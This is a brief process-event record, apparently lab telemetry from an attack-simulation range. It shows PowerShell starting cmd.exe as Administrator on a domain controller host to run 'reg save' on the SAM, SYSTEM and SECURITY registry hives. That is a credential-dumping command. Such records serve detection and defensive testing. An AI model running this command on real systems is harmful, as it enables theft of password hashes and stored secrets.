cmd.exe unknown C:\Windows\System32\cmd.exe /c "reg save HKLM\sam %temp%\sam &amp; reg save HKLM\system %temp%\system &amp; reg save HKLM\security %temp%\security" powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ar-win-dc.attackrange.local Administrator